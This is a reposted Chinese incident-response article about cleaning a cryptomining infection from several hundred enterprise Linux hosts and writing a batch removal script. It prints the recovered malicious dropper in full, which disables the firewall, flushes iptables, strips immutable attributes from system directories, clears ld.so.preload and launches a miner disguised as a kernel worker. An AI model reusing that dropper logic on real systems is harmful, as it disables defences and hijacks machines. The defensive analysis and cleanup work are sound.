企业挖矿病毒处置实战——专杀脚本从0到1

admin 2024年2月7日23:26:36评论12 views字数 7303阅读24分20秒阅读模式

扫码领资料

获网安教程

企业挖矿病毒处置实战——专杀脚本从0到1

企业挖矿病毒处置实战——专杀脚本从0到1

前期排查

根据态势感知日志,发现主机外联挖矿地址89.xx.xx.125,但是查看外联进程发现进程对应文件已被删除。

企业挖矿病毒处置实战——专杀脚本从0到1

这里使用一个小技巧 可以将内存中的进程信息保存出来。

企业挖矿病毒处置实战——专杀脚本从0到1

在进程中过滤kworker2关键字,发现存在异常脚本文件执行,并且在/bin目录下存在异常文件nuBrWiVa

企业挖矿病毒处置实战——专杀脚本从0到1

对脚本文件进行分析
#!/bin/bash# 删除当前用户的 crontab 任务crontab -r 2>/dev/null# 禁用 Uncomplicated Firewallufw disable 2>/dev/null# 设置 iptables 防火墙规则,允许所有入站、出站和转发的流量,清空 iptables 规则iptables -P INPUT ACCEPT 2>/dev/nulliptables -P OUTPUT ACCEPT 2>/dev/nulliptables -P FORWARD ACCEPT 2>/dev/nulliptables -F 2>/dev/null# 移除系统文件的不可修改属性chattr -i /usr/sbin/ >/dev/null 2>&1chattr -i /usr/bin/ >/dev/null 2>&1chattr -i /bin/ >/dev/null 2>&1chattr -i /usr/lib >/dev/null 2>&1chattr -i /usr/lib64 >/dev/null 2>&1chattr -i /usr/libexec >/dev/null 2>&1chattr -i /etc/ >/dev/null 2>&1chattr -i /tmp/ >/dev/null 2>&1chattr -i /sbin/chattr -i /etc/resolv.confchattr -i /etc/cron.d/systeml >/dev/null 2>&1chattr -i /etc/cron.weekly/systeml >/dev/null 2>&1chattr -i /etc/cron.hourly/systeml >/dev/null 2>&1chattr -i /etc/cron.daily/systeml >/dev/null 2>&1chattr -i /etc/cron.monthly/systeml >/dev/null 2>&1# 移除 ld.so.preload 文件的不可修改属性并清空文件内容chattr -ia /etc/ld.so.preload 2>/dev/nullcat /dev/null > /etc/ld.so.preload 2>/dev/null# 通过检查是否存在包含以前文件名的文件,生成或读取两个随机的文件名,并将它们保存在 if [ -e "/usr/lib/systemd/previous_filenames1" ] && [ -e "/usr/lib/systemd/previous_filenames2" ]; thenread -r file1 < "/usr/lib/systemd/previous_filenames1"read -r file2 < "/usr/lib/systemd/previous_filenames2"elsefile1="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"file2="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"echo "$file1" > "/usr/lib/systemd/previous_filenames1"echo "$file2" > "/usr/lib/systemd/previous_filenames2"fimv x86_64 "$file1" 2>/dev/nullmv i386 "$file2" 2>/dev/null# 设置变量SERVICE="kworker2:0H"EXEC="kworker2:0H"DIR="/tmp"# 移除某些文件的不可修改、不可删除、不可设置属性chattr -iaus /etc/cron.*/$EXEC /etc/init.d/$EXEC 2>/dev/null# Check if the process is runningif P=$(pgrep -F /bin/.locked) >> /dev/null; thenecho "Running" && exitelseecho "Not running"echo -n > /bin/.locked# Copy the files to the temporary directorycp "$file1" "$DIR/$EXEC" 2>/dev/nullcp "$file2" "$DIR/neo" 2>/dev/nullchmod +x "$DIR/$EXEC" 2>/dev/nullchmod +x "$DIR/neo" 2>/dev/null"$DIR/$EXEC" --tls >/dev/null 2>&1rm -rf "$DIR/$EXEC"fisleep 2# Check if the process is running and update the lock fileif P1=$(pgrep "$EXEC") 2>/dev/null; thenecho $P1 > /bin/.locked 2>/dev/nullfi# Execute the command using the value stored in the lock file"$DIR/neo" "$(cat /bin/.locked)" 2>/dev/null/bin/nuBrWiVa
上面的脚本可以知道,会生成固定的文件,这个三个文件的文件名是固定的,其中/bin/.locked文件内容为进程的pid信息
  • /usr/lib/systemd/previous_filenames1
  • /usr/lib/systemd/previous_filenames2
  • /bin/.locked

企业挖矿病毒处置实战——专杀脚本从0到1

因为进程中执行的恶意脚本文件对计划任务文件有进行操作,因此查看计划任务文件发现,存在恶意计划任务,定期执行恶意文件/bin/nuBrWiVa

企业挖矿病毒处置实战——专杀脚本从0到1

在跟进排查/bin/nuBrWiVa对应的服务信息

企业挖矿病毒处置实战——专杀脚本从0到1

后面对劫持,启动项账号进行了排查没有发现其他异常,则开始进行处置。

专杀脚本编写

处置单个主机十分简单:停止服务、删除计划任务、结束进程、删除恶意文件即可,但是面对内网近千台主机,绝对不可能一台一台手动处置,因此需要些脚本统一下发处置
后面便是本次应急处置的重点,如何写专杀脚本进行批量处置

总结病毒特点

1、外联矿池地址进程:kworker2:0H
2、执行恶意脚本进程:/bin/随机字符
3、恶意服务:随机字符.service
4、恶意计划任务:/etc/cron.d/随机字符、/etc/cron.daily/随机字符、/etc/cron.weekly/随机字符、/etc/cron.hourly/随机字符、/etc/cron.monthly/随机字符
5、固定文件:/bin/.locked、/usr/lib/systemd/previous_filenames1、/usr/lib/systenetmd/previous_filenames2
6、随机生成的文件:/bin/随机字符(x86_64)、/bin/随机字符(I386)
在这些特点中,最大的问题是,大量的恶意文件都是随机字符文件名,后面便开始梳理随机字符文件的关联性。

梳理特点关联性

1、根据/bin/.locked文件中的内容,可以确定外联进程的PID
2、根据计划任务的文件内容确定执行恶意脚本的进程;
3、根据恶意脚本进程,确定恶意的服务名称

分块编写代码

首先确认外联进程PID,在脚本中加了解挂载的操作,避免进程挂载无法根据PID进行定位。
if [ -e /bin/.locked ]; thenp=$(cat /bin/.locked)read -ra PID <<< "$p"for pid_value in "${PID[@]}"; doecho "[-] Processing PID: $pid_value"# 执行umount操作umount -l /proc/$pid_value# 查找并杀死与PID相关的进程(如果需要的话)a=$(ps -ef | grep $pid_value | grep "kworker2:0H")if [ -n "$a" ]; thenkill -9 $pid_valueecho "[+] Evil process with PID $pid_value killed"fidoneelseecho "[+] Nothging"fi
查找恶意计划任务
-r:匹配文件内容
-l:对应文件名称
root /bin/.*1 1:恶意计划任务特征点,由于中间文件名称为随机字符,因此使用.*进行正则匹配
evil_cron=($(grep -r -l "root /bin/.*1 1" /etc/cron.*))for value in "${evil_cron[@]}"; doecho "[+] evil_cron: $value"rm -rf $valueecho "[+] evil_cron:$value 已删除"done
查找恶意服务,定位恶意服务这里分了3步(重要是的第二步,恶心了我很久)
第一步:通过计划任务获得执行恶意脚本的进行名process_name
第二步:过滤process_name定位进程pid,但是这里有坑,因为grep过滤的时候会输出自己的grep进程,因此这里需要加入grep -v 'grep /bin'把自己的grep进程过滤掉(这里使用awk命令帮助定位到这个关键字的),才能得到恶意进程的pid
第三步:根据进程恶意进程pid,找到服务名称,并stop和disable
process_name=($(grep -rn "root /bin/.*1 1" /etc/cron.* | awk '{print $(NF-2)}'))echo "[+] process_name: $process_name"mv "$process_name" /tmp/evil_1112server_pid=($(ps -ef | grep $process_name | grep -v 'grep /bin' | awk '{print $2}'))for value in "${server_pid[@]}"; doecho "[+] server_pid: $value"doneserver_name=($(systemctl status $value | grep "Loaded:" | awk '{print $3}' | awk -F'/' '{print $NF}' | sed 's/;//'))for value in "${server_name[@]}"; doecho "[+] server_name: $server_name"breakdonesystemctl stop $server_namesystemctl disable $server_nameserver_path=/usr/lib/systemd/system/rm -rf $server_path$server_nameecho "server deleted"
删除固定文件,这里比较简单,就是找指定路径文件,然后获取文件内容,根据文件内容,找到对应文件,在进行删除就行
file_path1="/usr/lib/systemd/previous_filenames1"if [ -e "$file_path1" ]; thenfile_content=$(cat "$file_path1")echo "File $file_path1 exists, and its content is: $file_content"mv "$file_content" /tmp/evil_1112elseecho "File $file_path1 does not exist."fifile_path2="/usr/lib/systemd/previous_filenames2"if [ -e "$file_path2" ]; thenfile_content=$(cat "$file_path2")echo "File $file_path2 exists, and its content is: $file_content"mv "$file_content" /tmp/evil_1112elseecho "File $file_path1 does not exist."fi

整合代码

这里需要注意,因为定位服务是根据计划任务中的文件内容进行定位的,因此查找服务的执行顺序,必须在查找计划任务前面,否则服务无法定位
#! /bin/bashhostnameif [ ! -d "/tmp/evil_1112" ]; thenmkdir /tmp/evil_1112fi#查找特征文件并备份file_path1="/usr/lib/systemd/previous_filenames1"if [ -e "$file_path1" ]; thenfile_content=$(cat "$file_path1")echo "[+] File $file_path1 exists, and its content is: $file_content"mv "$file_content" /tmp/evil_1112 2>/dev/nullelseecho "[+] File $file_path1 does not exist."fifile_path2="/usr/lib/systemd/previous_filenames2"if [ -e "$file_path2" ]; thenfile_content=$(cat "$file_path2")echo "File $file_path2 exists, and its content is: $file_content"mv "$file_content" /tmp/evil_1112 2>/dev/nullelseecho "File $file_path1 does not exist."fi#查找服务并停止process_name=($(grep -rn "root /bin/.*1 1" /etc/cron.* | awk '{print $(NF-2)}' | uniq))if [ -z "$process_name" ]; thenecho "[+] process name is not exist"elseecho "[+] process_name: $process_name"mv "$process_name" /tmp/evil_1112fievil_process=$(ps -ef | grep -E " /bin/w+{8}" | awk '{print $8}' | uniq)if [ -z "$evil_process" ]; thenecho "[+] evil process is not running"elseif [[ "$evil_process" == "$process_name" ]]; then echo "[+] evil process $evil_process is running"server_pid=($(ps -ef | grep $process_name | grep -v 'color' | awk '{print $2}'))for value in "${server_pid[@]}"; doecho "[+] evil server_pid: $value"doneserver_name=($(systemctl status $value | grep "Loaded: loaded" | awk '{print $3}' | awk -F'/' '{print $NF}' | sed 's/;//'))for value in "${server_name[@]}"; doecho "[+] evil server_name: $server_name"breakdonesystemctl stop $server_namesystemctl disable $server_nameserver_path=/usr/lib/systemd/system/rm -rf $server_path$server_nameecho "[+] evil server deleted"else echo "[+] evil process is not running"fifi#查找计划任务并删除evil_cron=($(grep -r -l "root /bin/.*1 1" /etc/cron.*))for value in "${evil_cron[@]}"; doecho "[+] evil cron: $value"rm -rf $valueecho "[+] evil cron:$value deleted"done#查找外联进程并killif [ -e /bin/.locked ]; thenp=$(cat /bin/.locked)read -ra PID <<< "$p"for pid_value in "${PID[@]}"; doecho "[-] Processing PID: $pid_value"# 执行umount操作umount -l /proc/$pid_value 2>/dev/null# 查找并杀死与PID相关的进程(如果需要的话)a=$(ps -ef | grep $pid_value | grep "kworker2")if [ -n "$a" ]; thenkill -9 $pid_valueecho "[+] Evil process with PID $pid_value killed"fidoneelseecho "[+] Nothging"fi
最后通过堡垒机批量下发,成功处置700多台机器
文章来源:https://www.freebuf.com/articles/network/390612.html文章作者:Xbxhjx如有侵权,联系删除

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

原文始发于微信公众号(白帽子左一):企业挖矿病毒处置实战——专杀脚本从0到1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月7日23:26:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   企业挖矿病毒处置实战——专杀脚本从0到1https://cn-sec.com/archives/2475157.html

发表评论

匿名网友 填写信息